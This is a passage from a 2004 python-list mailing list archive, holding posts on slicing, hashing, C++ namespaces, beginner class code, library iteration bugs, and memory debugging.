> a single window, just switching between the tabs as desired.

No real answer, but:
- XP has the capability to group 'like' windows under one menu in the 
taskbar
- eConsole (http://www.corion.net/econsole/index.html) puts a graphic 
frontend on console windows. The author did this to provide background 
windows, but it can probably extended to add tabs. It is written in 
Delphi and source is available.
- Take Command (http://jpsoft.com/tcmddes.htm) is a commercial utility 
that provides a GUI interface to console windows. They haven't tabs 
either, but maybe they are planning them.

Daniel


From godoy at ieee.org  Fri Sep 17 12:48:23 2004
From: godoy at ieee.org (Jorge Godoy)
Date: Fri, 17 Sep 2004 13:48:23 -0300
Subject: Economic considerations
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<2qq5adF133c5kU1@uni-berlin.de> <m3isaf1xki.fsf@g2ctech.com>
	<1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> <f5ao12-46u.ln1@lairds.us>
	<m3acvp38zv.fsf@g2ctech.com>
	<mailman.3458.1095434948.5135.python-list@python.org>
Message-ID: <m3pt4kyh7s.fsf@g2ctech.com>

Carlos Ribeiro <carribeiro at gmail.com> writes:

> While true to a certain extent, this is not the problem. As I've
> mentioned in another thread, this is a case where the closed source
> application is simply superior in technical terms. It's not only
> packaging -- it works better, more efficiently, and has better
> algorithms specially when it comes to color mapping between devices,
> and anything that involves perceptual color models and management.

Patents are a problem.  All the rest is not.  There are several good
designers and programmers on free software and that support the idea.

> With all respect, this is not FUD. It's based on fact. In *many* cases
> the OS app is not conveniently packaged. Part of this is that most
> people that use OS apps are used to (and even like) having to glue
> everything together.

In many cases yes, in many other no.  The problem -- and the reason why
I called this FUD -- is the generalization. 

> No we're going completely offtopic, but anyway, why not? :-) I think
> everyone can relate with a joke about cars and people that work with
> cars. Often we see people that work everyday with cars -- specially
> mechanics -- driving cars that, from any reasonably perspective, are a
> complete mess. Doors hanging semi-opened are not unheard of :-). But
> the car works, and his owner actually likes that mess. I think we can
> see some of this in OS apps. Those who know how they are implemented
> derive a certain pleasure from the fact that they can look at the
> inside whenever they can, mess up with settings, and stuff like that.
> Those who want a car -- or an OS, or an application -- only for actual
> use doesn't like this, and prefer something nicely packaged, that
> hides all details, and simply works, and don't embarass them in front
> of friends and family :-).

There are several apps whose only purpose is to provide a nice GUI to
glue those tools together.  If your OS (or Linux distribution) provides
a nice package management system, then you also don't have to worry with
dependencies. 

I don't think of free software as a mess in its code.  There are very
nice examples of very well written software.  On the other hand, I've
seen commercial software with closed source code that is worse than
spaghetti code, and since it is closed, nobody sees it :-)  Also, I've
read terrible workarounds by developers of closed source code in mailing
lists.

Your program will not be different just because it is free software/open
source.  It will be different if you are organized or not.  Open source
software, IMNSHO, makes people write better code because this is how
they will present themselves to the world.  If they can hide their mess,
they won't be too worried with it. 

And, thanks God, there's no "one size fits all" solution.  People like
us will be hired to fix code, to fix problems and to glue things
together. :-)

-- 
Godoy.     <godoy at ieee.org>


From http  Tue Sep 28 05:20:31 2004
From: http (Paul Rubin)
Date: 28 Sep 2004 02:20:31 -0700
Subject: floating point glitch
References: <415295E6.9040602@ericsson.com>
	<l5ncl0horoifsmbadp6pu3sgje8ca2srf3@4ax.com>
	<cj5v5i$7vk$1@pegasus.csx.cam.ac.uk>
	<7xhdple624.fsf@ruckus.brouhaha.com>
	<kj0il0ddfqg7tebggk6qbnm6cvp5jumt87@4ax.com>
	<m2lleusrgo.fsf@mycroft.actrix.gen.nz>
Message-ID: <7xis9yoilc.fsf@ruckus.brouhaha.com>

Paul Foley <see at below.invalid> writes:
> The "perfect solution" is either: (a) to print the minimal number of
> digits that can maintain print/read consistency -- in this case, that
> means printing "0.66",

Nah, you can do that by printing everything as zero.


From mwh at python.net  Thu Sep  2 09:21:09 2004
From: mwh at python.net (Michael Hudson)
Date: Thu, 2 Sep 2004 13:21:09 GMT
Subject: negative stride list slices
References: <8a638f47.0409010941.7f1cbbad@posting.google.com>
Message-ID: <m3n008g62j.fsf@pc150.maths.bris.ac.uk>

dave at boost-consulting.com (David Abrahams) writes:

> Can anyone explain the logic behind the behavior of list slicing with
> negative strides?  

You can read PySlice_GetIndicesEx in Objects/sliceobject.c if you're
really keen...

> For example:
> 
>   >>> print range(10)[:-3:-1]
>   [9,8]
> 
> I found this result very surprising,

What would you have expected instead?

range(10-1, 10-3, -1) == [9,8]

was my guiding principle when I wrote the code.

> and would just like to see the rules written down somewhere.

It seems to be hardly any easier to write the rules than to write the
algorithm, in practice...

In practice, I only ever use negative strides as "[::-1]", the result
of which hopefully surprises noone.

Cheers,
mwh

-- 
  <glyph> yo ho ho and a bottle of internet
                                                -- from Twisted.Quotes


From sjdevnull at yahoo.com  Wed Sep 29 16:49:47 2004
From: sjdevnull at yahoo.com (G. S. Hayes)
Date: 29 Sep 2004 13:49:47 -0700
Subject: Optimizing tips for os.listdir
References: <ikrfl05b77p2jlbrp3kehvf5o3u8jp35od@4ax.com>
	<slrnclg6vb.rjj.nick@irishsea.home.craig-wood.com>
	<96c2e938.0409271432.23a2b877@posting.google.com>
Message-ID: <96c2e938.0409291249.1cf7afa9@posting.google.com>

sjdevnull at yahoo.com (G. S. Hayes) wrote in message news:<96c2e938.0409271432.23a2b877 at posting.google.com>...
> Nick Craig-Wood <nick at craig-wood.com> wrote in message news:<slrnclg6vb.rjj.nick at irishsea.home.craig-wood.com>...
> > Under a unix based OS the above will translate to 1
> > opendir()/readdir()/closedir() and 1 stat() for each file.  There
> > isn't a quicker way in terms of system calls AFAIK.
> 
> Under Linux, readdir() returns a struct dirent that has a d_type
> member indicating the file type (DT_DIR for directories) so you can
> avoid calling stat() on each file.  I thought some BSD systems did
> this as well.

Offtopic since it's really not Python related, (though I guess Python
might want to consider exposing this functionality in a portable way
eventually):

As a quick followup, with 10000 files on my machine it takes about
twice as long to use stat to get this information as to access the
d_type field.  And it costs an extra 10000 syscalls (the d_type one is
about 93 syscalls total, mostly standard program startup/shutdown
costs like mapping in shared libs, flushing output on exit, etc).

On the other hand, they both execute in under a second.  So for most
programs the difference in speed is probably negligible, and the
programming cost of portably choosing which method you want to use
probably isn't worth it in general (I could maybe see it for
specialized applications).


From jepler at unpythonic.net  Thu Sep  9 09:56:33 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Thu, 9 Sep 2004 08:56:33 -0500
Subject: Shorter checksum than MD5
In-Reply-To: <nJU%c.241102$VH2.12288041@phobos.telenet-ops.be>
References: <nJU%c.241102$VH2.12288041@phobos.telenet-ops.be>
Message-ID: <20040909135632.GG19306@unpythonic.net>

If you have a good cryptographic hash function then picking any N bits
from it should be just as good as any other N bits.

sha and md5 were designed with cryptographic needs in mind, while CRC
wasn't (it's designed to detect spurious bit errors in noisy transmission
media, which tend to have particular properties), but collisions have
now been found in md5 which means most people would not recommend its
use in new software.  I would choose SHA at this point, even though new
research implies it may be weak too. (an attack on a simplified version
of SHA can produce collisions)  On the other hand, if your database
replication app doesn't have a threat model where an attacker would want
to deliberately make the two sites out of sync, a cryptographically weak
hash might still be acceptable.

For your application, you should consider the total number of records
you ever expect to have, and use more than 2 * lg(records) bits of hash.
Due to the so-called "birthday paradox", when you have N possible hash
values, two will be identical with 50% probability with around sqrt(N)
items.  You'd probably prefer that the probability be much lower in your
application, since a collision will result in incorrect results.

You might consider some way to group records together, so that it's not
a hash per 70-byte record, but a hash per N 70-byte records.  Or you
might skip this approach and implement transactions which can be stored
and played to the second server when they sync up.

Jeff
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20040909/1111b419/attachment.sig>

From aleaxit at yahoo.com  Tue Sep 28 11:42:16 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Tue, 28 Sep 2004 17:42:16 +0200
Subject: Problem with a dictionary program....
References: <415966e1$0$23075$ba624c82@nntp05.dk.telia.net>
Message-ID: <1gku3dq.1ujg35u1x7p9hmN%aleaxit@yahoo.com>

Ling Lee <janimal at mail.trillegaarden.dk> wrote:

> Hello.

Hi!  I suspect (from your name and address) that English is not your
mother tongue (it ain't mine, either), so I hope you'll appreciate some
suggestions in the following about natural language as well as Python.

> I'm trying to write a small program that lets you put in a number as an
> integer and then it tells you the textuel representation of the number.

"Textual".

> Like if your input is 42, it will say four two.

Ah, "Digit by digit".  The "textual representation of 42" would be
"fortytwo" -- a harder problem than outputting "four two".

> I found out that I have to make a dictionary like this: List = { 1:"one",
> 2:"two" and so on )

Yes, such a dict is one possibility (no "have to", really, since there
ARE quite practicable alternatives), but [a] don't name it List, that's
WAY confusing, and [b] you may consider using as keys the digit strings
rather than the corresponding numbers, e.g '1' instead of 1 and so on,
it might simplify your coding.
Still, let's assume that this thing IS what you have, one way or
another.


> and I have to use the raw_input method to get the number:

You don't HAVE to (you could obtain it in other ways) but, sure, it's
one possibility.  (Maybe you overuse "have to" a bit...?)

> 
> indput : raw_input(" Tell me the number you want to transform to textuel
> representaion")

No doubt you mean to use an equals-sign here, not a colon, since you are
assigning the result of raw_input to your variable 'indput' (VERY
confusing name, again).

> The I have to transform the input to a string
> indput = str(indput)

Not at all, this is a "no-operation", since the result of raw_input IS a
string already.

> so that I can count how many decimals the number has, like 23 has 2 decimals
> and 3000 has 4 decimals.

"digits".  When you say a number has "2 decimals" this would normally be
interpreted as meaning "two digits after the decimal point", something
like "27.12".  But I don't see why you would care, anyway.  Rather, try
checking indput.isdigit() to verify all of the chararacters are digits.

> After I have gotten the lenght of the string, I will write a loop, that goes
> through the dictionary as many times as the lengt of the string, and the
> gives me the corresponding numbers, the numner 21 would go 2 times through
> the loop and give me the output two one

Nah, loop on the string directly, that will give you one character at a
time in order.  No need to worry about lengths, number of times through,
etc.  Just "for c in indput: ...", that's all.

 
> Will one of you be so kind and tell me how I count the lengt of the indput
> number i was thinking on something like input.count[:] but that dosnt
> work...

That would be len(indput), but you don't need it.

> 
>  and how I make the loop.

You do it with a 'for' statement as above, no worry about the length.

 
>  Im trying to understand dictionaries but have gotten a bit stuck...
> 
> Thanks for all replies....

The Tutor list might be very helpful to you.  Happy studying!


Alex


From dperl at rogers.com  Thu Sep  2 11:05:28 2004
From: dperl at rogers.com (Dan Perl)
Date: Thu, 02 Sep 2004 15:05:28 GMT
Subject: initializing mutable class attributes
References: <J4zYc.102357$UTP.98636@twister01.bloor.is.net.cable.rogers.com>
	<1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com>
	<eTHYc.205$yqJ1.68@news04.bloor.is.net.cable.rogers.com>
	<1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com>
	<8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com>
	<1gjfkp7.aepmjg11ubf2rN%aleaxit@yahoo.com>
	<iolZc.115894$pTn.53552@news01.bloor.is.net.cable.rogers.com>
	<1gjg2g0.1yx50mvx6csq3N%aleaxit@yahoo.com>
	<1gjg9tm.14a3nqg36zs8fN%aleaxit@yahoo.com>
Message-ID: <YEGZc.168142$UTP.67432@twister01.bloor.is.net.cable.rogers.com>


"Alex Martelli" <aleaxit at yahoo.com> wrote in message
news:1gjg9tm.14a3nqg36zs8fN%aleaxit at yahoo.com...
     ........
> Incidentally, FAR from your assertion that, in C++, "subclasses don't
> need to know anything about how the superclass is implemented", reality
> is just the other way 'round.  Subclasses have to be _intimately
> familiar_ with key aspects of superclasses' implementation -- not just
> the interface (which fully includes the "little detail" of whether a
> class has a default ctor or not!!!), but specifically _implementation_
> issues, such as what private member names the superclass uses for its
> own implementation purposes.  That's because C++ fatally tries to
> support encapsulation via _accessibility_, NOT through _visibility_.  If
> the subclass unwittingly tries using a member name which the superclass
> is already using privately, it just won't compile; if the superclass
> adds any private names to its implementation from one release to
> another, it will "break all user code" which quite correctly tried to
> use that name (and previously managed w/o problems!) for one of its
> members -- as you say.

No, Alex.  Data members in a C++ subclass cannot conflict with data members
in its superclass, public, protected, or private.  They are resolved by
their namespaces.  See an example:
    #include <iostream>

    class Class1 {
    public:
        void setM1(int arg) {m1=arg;}
        void getM1( ) {std::cout << "c1m1: " << m1 << std::endl;}
    private:
        int m1;
    };
    class Class2 : public Class1 {
    public:
        void setM1(int c1m1, int c2m1) {Class1::setM1(c1m1);    m1=c2m1;}
        void getM1( ) {Class1::getM1( );      std::cout << "c2m1: " << m1 <<
std::endl;}
    private:
        int m1;
    };
    int main(int argc, char **argv)
        {
        Class2 c2 = Class2( );
        c2.setM1(1, 9);
        c2.getM1( );
        }

> Here it is -- now feel free to damage yourself at will with your
> conviction that this (calling superclass ctors) "IS a case" where
> implicit is better.  I decided I can reuse this as a Cookbook recipe,
> after all!-)

I'll look at the metaclass example later.  Thanks.

Dan




From bokr at oz.net  Thu Sep 30 20:36:40 2004
From: bokr at oz.net (Bengt Richter)
Date: 1 Oct 2004 00:36:40 GMT
Subject: python vs c#
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<EPmdnagKPrUPhtPcRVn-iQ@giganews.com>
	<mailman.3529.1095642828.5135.python-list@python.org>
	<1gkgxts.1fq0rwq10mycqiN%aleaxit@yahoo.com>
	<41513aac$0$285$edfadb0f@dread12.news.tele.dk>
	<1gkih9r.pfgqukvpt1rcN%aleaxit@yahoo.com>
	<37tjl09an200u6tejkrtklc8ib86uk7rm1@4ax.com>
	<7E_6d.33917$35.1643590@news4.tin.it>
Message-ID: <cji8qo$qro$0$216.39.172.122@theriver.com>

On Thu, 30 Sep 2004 21:11:31 GMT, Anna Martelli Ravenscroft <anna at aleax.it> wrote:

>Christos TZOTZIOY Georgiou wrote:
>> On Wed, 22 Sep 2004 11:18:35 +0200, rumours say that aleaxit at yahoo.com
>> (Alex Martelli) might have written:
>> 
>> 
>>>>Well, not to feed the troll, but there is a few relevant points in it's
>>>>posting.
>>>
>>>(Please, please, please: "its", not "it's"... pretty please...)
>> 
>> 
>> (Late reply that maybe can make one smile)
>> 
>> Alex, you are 99% correct.  Leave a 1% chance that Max referred to
>> "julio" as "it"... :)  Trolls are genderless!
>
>
>Sorry, Christos. Alex was correct: "its" is the appropriate usage here. 
>"it's" is a contraction of "it is", and NOT the possessive form of it. 
>Furthermore, Alex was quite kind in *not* correcting the mismatch 
>between the singular form of the verb "is" and the plural noun "points". 
>  I, otoh, am not so generous.
>
>The sentence *should* have read:
>"Well, not to feed the troll, but there are a few relevant points in its 
>posting."
>
I almost posted a similar comment ;-) OTOH ...
How many relevant points do you need to start a debate?
How would you answer that question?

A few is enough?
A few are enough?
A few relevant points suffices, or a few relevant points suffice?
A small number suffices, or a small number suffice?
A dozen is sufficient?
A dozen are sufficient?
 
I suspect that there are some semantic subtleties at work. I.e., when you focus
mentally on the few points as a single collection, the singular forms feel right,
but when you focus on the few points as separate entities, plural forms feel right.
Thus you want the verb (e.g.,is/are) to agree numerically with _some entities_, or with
_a collection_, according to your focus.
I think some sentences can be read either way, depending on which way your attention
is directed (e.g. by word order and discourse context etc.) "A few" can work as noun or
adjective, it seems.

I like words too ;-)

Regards,
Bengt Richter


From lbates at swamisoft.com  Thu Sep  9 09:41:09 2004
From: lbates at swamisoft.com (Larry Bates)
Date: Thu, 9 Sep 2004 08:41:09 -0500
Subject: writing a class
References: <29179565.0409071136.4147591f@posting.google.com>
	<oKKdnUmLvus3j6PcRVn-gQ@comcast.com>
	<29179565.0409081015.5c7a8e9d@posting.google.com>
Message-ID: <BJKdnfYoztnswN3cRVn-oA@comcast.com>



With a few changes this will work.

from datetime import date
import sys

class Account:
     #
     # Make initial a keyword argument so that it is
     # optional.  If not given, begin with zero.
     #
     def __init__(self, initial=0.0):
         self.balance = initial

     def deposit(self, amt):
         #
         # You were referencing global balance
         # (not self.balance) before.
         #
         self.balance+=amt

     def withdraw(new, amt):
         self.balance-=amt

     def getbalance(self):
         return self.balance

if __name__== "__main__":

#
# Main program begins here
#
a = Account() # or a=Account(initial=0.0)
now = date.today()

#
# Loop until you get a good starting balance
#
badtbal=1
while badtbal:
    #
    # Input comes in as text, must try to convert to
    # a float.
    #
    tbal=input("Enter amount of starting balance (blank to stop): $")
    if not tbal: sys.exit(0)
    try: bal=float(tbal)
    except:
        print "Bad starting balance=%s" % tbal
        print "You must enter starting balance like 100.00"
        continue

    badtbal=0

a=Account(initial=bal)

badtdpst=1
while badtdpst:
    tdpst = input("Enter amount of deposit (blank to stop): $")
    if not tdpst: sys.exit(0)
    try: dpst=float(tbal)
    except:
        print "Bad deposit=%s" % tdpst
        print "You must enter deposits like 100.00"
        continue

    badtdpst=0

a.deposit(dpst)

badtwdrw=1
while badtwdrw:
    twdrw = input("Enter amount of withdrawal (blank to stop): $")
    if not wdrw: sys.exit(0)
    try: wdrw=float(twdrw)
    except:
        print "Bad withdrawal=%s" % twdrw
        print "You must enter withdrawals like 100.00"
        continue

    badtwdrw=0

a.witdraw(wdrw)

print "As of",now,"balance is $",a.getbalance()


As with most programming projects you need to include more
code to try to catch input errors from the user than to
actually solve the problem.  This wasn't test, but I'll
bet it is close to working.

Hope it helps,
Larry Bates
Syscon, Inc.


"Crypt Keeper" <crypt_keeper at rome.com> wrote in message
news:29179565.0409081015.5c7a8e9d at posting.google.com...
> It's a simple bank-type transaction program. User needs to input
> initial starting balance, amount of deposits, amount of withdrawals.
> Program needs to do the appropriate math and return status update
> showing new balance, total deposits and total withdrawals.
>
> I keep coming up with 2 different results...1 returns an error message
> and the other finishes the program but the mathmematics is wrong (it
> does not compute deposits and withdrawlas. It only returns intial
> balance as new balance.)
>
> Code for error message return is:
>
> (formal code)
> from Account import Account
> from datetime import date
>
> a = Account()
> now = date.today()
>
> print "As of",now,"balance is $",a.getbalance()
>
> (class code)
> class Account:
>
>      def __init__(self, initial):
>          self.balance = initial
>      def deposit(self, amt):
>          self.balance = balance + amt
>      def withdraw(new, amt):
>          self.balance = balance - amt
>      def getbalance(self):
>          return self.balance
>
> Error message that gets returned is:
>
> Traceback (most recent call last):
>   File "C:\Python23\Module1a.py", line 4, in -toplevel-
>     a = Account()
> TypeError: __init__() takes exactly 2 arguments (1 given)
>
>
>
> The code that returns new balance only is:
>
> (class code)
> class Account:
>
>      def __init__(self, balance):
>          self.balance = balance
>      def deposit(self, deposit):
>          self.balance = self.balance + deposit
>      def withdraw(self, withdraw):
>          self.balance = self.balance - withdraw
>      def getbalance(self, balance):
>          self.balance = bal + deposit - withdraw
>          return self.balance
>
> (formal code)
> from account1a import Account
> from datetime import date
>
> now = date.today()
>
> a = Account()
>
> bal = input("Enter amount of starting balance: $")
> dpst = input("Enter amount of deposit: $")
> wdrw = input("Enter amount of withdrawal: $")
>
> print "As of",now,"balance is $",a.getbalance()
>
>
> Appreciate all the assistance I might get.
>
>
>
>
>
>
>
> "Larry Bates" <lbates at swamisoft.com> wrote in message
news:<oKKdnUmLvus3j6PcRVn-gQ at comcast.com>...
> > You really should post what you have tried and
> > any traceback error messages of things that didn't
> > work.  A little background explanation of what you
> > are trying to do would also be nice.  It's impossible
> > for us to venture a guess as to what you might be
> > doing wrong or to suggest a methodology without this
> > information.
> >
> > Regards,
> > Larry Bates
> > Syscon, Inc.
> >
> > "Crypt Keeper" <crypt_keeper at rome.com> wrote in message
> > news:29179565.0409071136.4147591f at posting.google.com...
> > > I am trying to write a program that asks user for several input items,
> > > then takes those items into a class that will manipulate the data and
> > > then return a line of output. I am able to input the reuired
> > > information, but it's the in-class processing and output line that
> > > keeps messing up somehow. I have tried tinkering and tweaking but with
> > > no success.
> > >
> > > How can I take data from the user, manipulate it through a class of
> > > steps and then output it all into a line of output?
> > >
> > > Thanks!!




From ptmcg at austin.rr._bogus_.com  Sat Sep  4 11:44:38 2004
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Sat, 04 Sep 2004 15:44:38 GMT
Subject: A couple of Python 'Features'
References: <6f402501.0409040202.26cd7a30@posting.google.com>
Message-ID: <Gpl_c.14407$Dl4.9083@fe2.texas.rr.com>

"Michael Foord" <fuzzyman at gmail.com> wrote in message
news:6f402501.0409040202.26cd7a30 at posting.google.com...
> I've come across a couple of 'features' in Python standard libraries -
> and I'm not sure if they're meant to be there... or if they're bugs...
>
> One in urllib2 and one in cgi.
>
> >>> from urllib2 import urlopen
> >>> a = urlopen('http://www.voidspace.org.uk')
> >>> i = a.info()
> >>> for entry in i: print entry
> Traceback (most recent call last):
>   File "<pyshell#11>", line 1, in -toplevel-
>     for entry in i: print entry
>   File "D:\PYTHON23\lib\rfc822.py", line 390, in __getitem__
>     return self.dict[name.lower()]
> AttributeError: 'int' object has no attribute 'lower'
>
> and in cgi (a result that happens in live CGI as well as interactive
> sessions....) :
>
> >>> import cgi
> >>> a = cgi.FieldStorage()
> >>> for entry in a: print entry
>
> Traceback (most recent call last):
>   File "<pyshell#3>", line 1, in ?
>     for entry in a: print entry
>   File "C:\PYTHON22\lib\cgi.py", line 550, in __getitem_
>     raise KeyError,
>  keyKeyError: 0
> >>>
>
> You can get round the cgi bug because :
> for entry in a.keys(): print entry
> works fine - but it's a bit annoying.
>
> (Admittedly my server has python 2.2, but the urllib2 bug occurs in
> Python 2.3.4 as well I think).
>
> Regards,
>
>
> Fuzzy
>
> http://www.voidspace.org.uk/atlantibots/pythonutils.html

The urllib2 problem looks like a clone of one mentioned earlier in the email
module, which I looked into and reported as bug 1017329.  You could add your
example to that, or open a new bug report.  But the two should be linked
somehow, as they have the same failure mode, and very likely the same
resolution.

Looking briefly at the cgi module also shows a similar implementation gap,
but I see that FieldStorage implements __iter__, which I thought would be
used in "for entry in a" type iteration, and that failing the existence of
__iter__, then __len__ would be tried with successive calls to __getitem__
from 0 to len-1.  What *is* the order of resolution for iterating over a
sequence?

(1015249 was also recently submitted, to address problems with
FieldStorage's __len__ function, should also be linked.)

-- Paul




From roo at try-removing-this.darkboong.demon.co.uk  Thu Sep  2 15:28:16 2004
From: roo at try-removing-this.darkboong.demon.co.uk (Rupert Pigott)
Date: Thu, 02 Sep 2004 20:28:16 +0100
Subject: Xah Lee's Unixism
In-Reply-To: <9pqej0tjtikajsa74c7a5el7quk49k053s@4ax.com>
References: <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net>
	<slrncj1745.t5q.amajorel@atc5.vermine.org>
	<41337FC9.8070902@hotmail.com>
	<slrncj7hhh.2pt.amajorel@atc5.vermine.org>
	<p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com>
	<slrncj8m5n.2pt.amajorel@atc5.vermine.org>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com>
	<opsdpdzglzpqzri1@mjolner.upc.no>
	<slrncjep0f.oa.amajorel@vulcain.knox.com>
	<opsdpprvxppqzri1@mjolner.upc.no>
	<9pqej0tjtikajsa74c7a5el7quk49k053s@4ax.com>
Message-ID: <1094153294.416994@teapot.planet.gong>

Alan Balmer wrote:

> Huh? Linux is only recently paying some attention to the POSIX
> standards. I don't know the current level of compliance, though I'm

Nah, that's been going on since at least 1994 when I installed it.

> pretty sure that some parts of POSIX.4 have been implemented.

God only knows, as long as it works I'm not complaining. :)

Cheers,
Rupert



From miki.tebeka at zoran.com  Thu Sep  9 03:28:06 2004
From: miki.tebeka at zoran.com (Miki Tebeka)
Date: Thu, 9 Sep 2004 09:28:06 +0200
Subject: Python Enviroment  Variables
In-Reply-To: <82880e86.0409082135.600f9cd@posting.google.com>
References: <82880e86.0409082135.600f9cd@posting.google.com>
Message-ID: <20040909072806.GG2804@zoran.com>

Hello Ruchika,

> How can i get/set environment variables in Python? I am trying to run
> Perforce commands from Python script but am unsuccesful. Want to make
> sure that Perforce is in the path. How can I get/set the
> Environment/Path variables from within the script?
http://docs.python.org/lib/os-procinfo.html

Reading the documentation is helpful ;-)

Bye.
--
------------------------------------------------------------------------
Miki Tebeka <miki.tebeka at zoran.com>
http://tebeka.spymac.net
The only difference between children and adults is the price of the toys


From joachim at ee.ucla.edu  Thu Sep 30 19:18:44 2004
From: joachim at ee.ucla.edu (Joachim Dahl)
Date: Thu, 30 Sep 2004 16:18:44 -0700
Subject: python latex class and math environment
Message-ID: <415C9454.40805@ee.ucla.edu>

I have the exact same problem, and I think it's caused by mkhowto.
When I try to compile the docs using latex directly it seems to work
(but of course then other things break).

I may seem like a small bug, but it's a big deal if you're writing
documentation for scientific software.



From ialbert at mailblocks.com  Fri Sep 17 13:30:15 2004
From: ialbert at mailblocks.com (Istvan Albert)
Date: Fri, 17 Sep 2004 13:30:15 -0400
Subject: Python Webstart ?
In-Reply-To: <c8E2d.16815$QJ3.1403@newssvr21.news.prodigy.com>
References: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au>
	<pan.2004.09.17.13.52.16.705912@thomas-guettler.de>
	<c8E2d.16815$QJ3.1403@newssvr21.news.prodigy.com>
Message-ID: <O7OdncbCX_O7gtbcRVn-vQ@giganews.com>

John Fabiani wrote:

> Actually it's very useful.  In the Java world you can set a central location
> that a webstart program checks for possible updates.  It's very cool.

Only that it doesn't really work in practice. Read more here:

http://www.dynamicobjects.com/d2r/archives/2004_07_09.html


Istvan


From peter at engcorp.com  Fri Sep 24 07:12:42 2004
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 24 Sep 2004 07:12:42 -0400
Subject: Why not FP for Money?
In-Reply-To: <7xpt4c3v3w.fsf@ruckus.brouhaha.com>
References: <cc887c1d.0409202325.76ec2227@posting.google.com>
	<10l0lpt9n0n5k9c@news.supernews.com>
	<ad052e5c.0409211611.7e4411e@posting.google.com>
	<4t33l0h66h171hcb6riu97s55pj0860hdf@4ax.com>
	<mailman.3721.1095866067.5135.python-list@python.org>
	<cc887c1d.0409222103.388c40de@posting.google.com>
	<mailman.3775.1095939700.5135.python-list@python.org>
	<Xns956D83A8D1E7duncanrcpcouk@127.0.0.1>
	<mailman.3781.1095942759.5135.python-list@python.org>
	<civ705$4kl$1@panix1.panix.com>
	<mailman.3809.1095967700.5135.python-list@python.org>
	<1gkm1wt.1twm02s1cr3m7hN%aleaxit@yahoo.com>
	<7xk6ukw149.fsf@ruckus.brouhaha.com>
	<1gkm3u0.1s58vuhduaeN%aleaxit@yahoo.com>
	<7xpt4c3v3w.fsf@ruckus.brouhaha.com>
Message-ID: <pbadnZbDHOi2nMncRVn-jg@powergate.ca>

Paul Rubin wrote:
> aleaxit at yahoo.com (Alex Martelli) writes:
> 
>>yep, str(35.72) == '35.72'.
> 
> 
> Hmm.
> 
>     >>> 35.72
>     35.719999999999999
> 
> I wonder why str(35.72) is different from repr(35.72).

Because "str( [object])  Return a string containing a nicely
printable representation of an object" contains the key
phrase "nicely printable"?

-Peter


From steven.bethard at gmail.com  Tue Sep 28 17:57:57 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Tue, 28 Sep 2004 15:57:57 -0600
Subject: all pairs of items in a list without indexing?
In-Reply-To: <Pine.LNX.4.44.0409282255250.14797-100000@pingu.thwackety.com>
References: <d11dcfba04092813343e99fff6@mail.gmail.com>
	<Pine.LNX.4.44.0409282255250.14797-100000@pingu.thwackety.com>
Message-ID: <d11dcfba04092814574b5fee37@mail.gmail.com>

On Tue, 28 Sep 2004 23:01:58 +0100 (BST), Michael Sparks wrote:
> So let's just write pairs:
> 
> def pairs(l):
>   x=iter(l)
>   while 1:
>      yield x.next(),x.next()

This generates all *successive* pairs.  I need *all* pairs.

>>> l = range(4)
>>> for i in range(len(l)):
...     for j in range(i+1, len(l)):
...             print (l[i], l[j])
...
(0, 1)
(0, 2)
(0, 3)
(1, 2)
(1, 3)
(2, 3)
>>> def pairs(l):
...     x = iter(l)
...     while True:
...         yield x.next(), x.next()
...
>>> for item1, item2 in pairs(l):
...     print (item1, item2)
...
(0, 1)
(2, 3)

Hope that clarifies the problem.

Steve
-- 
You can wordify anything if you just verb it.
        - Bucky Katt, Get Fuzzy


From aberlu at hotmail.com  Fri Sep 17 05:30:58 2004
From: aberlu at hotmail.com (Ana Berlusconi)
Date: 17 Sep 2004 02:30:58 -0700
Subject: VBScript does exactly what you want
Message-ID: <2d8097ee.0409170130.448cd351@posting.google.com>

Assuming you're working on Windows, VB/VBScript is the way to go - the
entire MS Office suite has been built around this paradigm, and use
VBScript very successfully for macro handling.

Regards, Ana


From robin at wiretooth.com  Thu Sep  2 14:33:20 2004
From: robin at wiretooth.com (Robin Bryce)
Date: Thu, 02 Sep 2004 19:33:20 +0100
Subject: using generators for event handling in python.
Message-ID: <1094150000.7156.9.camel@localhost.localdomain>

Hi,

I've been looking at generators from the context of event oriented web
application development. I was thinking of submitting a version of
http://www.wiretooth.com/eventhub_recipe.html as a recipe for the python
cookbook.


I'd really appreciate any comments people have on it.

Thanks,

Robin Bryce.



From alexander.hoffmann at netgenius.de  Mon Sep  6 08:57:50 2004
From: alexander.hoffmann at netgenius.de (Alexander Hoffmann)
Date: Mon, 6 Sep 2004 14:57:50 +0200
Subject: python memory analysis
Message-ID: <200409061457.50722.alexander.hoffmann@netgenius.de>

Hello,

I wrote a deamon like program in python and after a while I realized that it
consumes more and more memory over time. So my question is: How to debug
memory leaks in python ?
Of course I found the built-in profiler but it only helps to make
performance analysis. Is there a way (or a tools) to view all the instances
that are kept im memory by the interpreter ?


Thanks a lot,
Alex


From bgabriel at cloudthunder.com  Thu Sep 30 16:28:58 2004
From: bgabriel at cloudthunder.com (Bishara Gabriel)
Date: Thu, 30 Sep 2004 16:28:58 -0400
Subject: Social Analysis & Modeling with Python - Final
Message-ID: <415C6C8A.9020107@cloudthunder.com>

Final Version:

http://www.mtholyoke.edu/~bgabriel/Social_Analysis_&_Modeling_in_Python.pdf


From sergio.lobo at supportdrive.com  Tue Sep 21 13:00:55 2004
From: sergio.lobo at supportdrive.com (Sergio Lobo)
Date: Tue, 21 Sep 2004 17:00:55 GMT
Subject: Python in client side web applications
